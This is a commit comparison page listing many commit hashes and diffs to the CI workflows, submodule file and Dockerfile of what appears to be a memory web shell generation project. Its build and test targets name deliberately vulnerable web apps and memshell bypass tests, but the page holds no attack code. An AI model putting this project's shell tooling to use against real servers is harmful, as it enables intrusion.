Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7f176dd443 | ||
|
|
43c410e653 | ||
|
|
b9efe6dac5 | ||
|
|
930edbc8b0 | ||
|
|
0f473311f9 | ||
|
|
b412e9206d | ||
|
|
d9205aaff7 | ||
|
|
4dda9236ca | ||
|
|
694e60bd23 | ||
|
|
25ffe5bb14 | ||
|
|
e9265b52f5 | ||
|
|
e872e0cd06 | ||
|
|
b6219628ae | ||
|
|
0d1fab8740 | ||
|
|
e9fb20fa07 | ||
|
|
97e365e935 | ||
|
|
75e3ed595a | ||
|
|
ab4ad88d6e | ||
|
|
9abea930b3 | ||
|
|
ab8773b177 | ||
|
|
0de0efef9c | ||
|
|
3d5851f3ae | ||
|
|
9c298a2303 | ||
|
|
b846f67c34 | ||
|
|
1e5f7dd281 | ||
|
|
37832ee768 | ||
|
|
a59282b2a9 | ||
|
|
bf151faa1c | ||
|
|
11c439f6c6 | ||
|
|
a10386457c | ||
|
|
dd9333e473 | ||
|
|
d7a67b3056 | ||
|
|
e41f8347c6 | ||
|
|
47b628ee5b | ||
|
|
970e260b16 | ||
|
|
ebfb9323f8 | ||
|
|
818f42048d | ||
|
|
554719a447 | ||
|
|
42a9c00263 | ||
|
|
b1b44dbc4c | ||
|
|
0c5847b4dd | ||
|
|
ef1a77d11d | ||
|
|
8551c3b18f | ||
|
|
c1631b9401 | ||
|
|
e1a852a301 | ||
|
|
4fd1e4170f | ||
|
|
73f5694cac | ||
|
|
bac3023dfa | ||
|
|
baeb3daa50 | ||
|
|
5d28df0e39 | ||
|
|
b29d83d3b4 | ||
|
|
605379907b | ||
|
|
84c61629ff | ||
|
|
4a207e583a | ||
|
|
afb3d46080 | ||
|
|
102173b924 | ||
|
|
8b8cc7173d | ||
|
|
c43d87eea1 | ||
|
|
11e58495fc | ||
|
|
8491d6f964 | ||
|
|
1cf5f37086 | ||
|
|
cd8111d0d7 | ||
|
|
653665e479 | ||
|
|
79c3e0d929 | ||
|
|
50a60c4c65 | ||
|
|
90c20b5388 | ||
|
|
4652f644e4 | ||
|
|
c21d47140f | ||
|
|
fc3961a6bf | ||
|
|
962264f13e | ||
|
|
75495aee20 | ||
|
|
13a83d510b | ||
|
|
2582a12785 | ||
|
|
05bfa6fd1c | ||
|
|
40e6c55b6d | ||
|
|
bfda586d58 | ||
|
|
f0c88ab914 | ||
|
|
504dde9335 | ||
|
|
e4e86d2c8d | ||
|
|
dc898fd214 | ||
|
|
0ec52dd167 | ||
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -12,10 +12,7 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
strategy:
|
runs-on: ubuntu-latest
|
||||||
matrix:
|
|
||||||
os: [ubuntu-latest, windows-latest]
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -42,16 +39,10 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Linux)
|
- name: Build Boot with Gradle
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Windows)
|
- name: Upload Boot Jar
|
||||||
if: matrix.os == 'windows-latest'
|
|
||||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ jobs:
|
|||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struct2"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "struct2"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
name: Single IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
depend_tasks:
|
|
||||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
|
||||||
required: false
|
|
||||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
|
||||||
type: string
|
|
||||||
test_class:
|
|
||||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
|
||||||
required: true
|
|
||||||
type: string
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
integration-test:
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
|
||||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[submodule "libs"]
|
|
||||||
path = libs
|
|
||||||
url = https://github.com/ReaJason/javaweb-sources.git
|
|
||||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
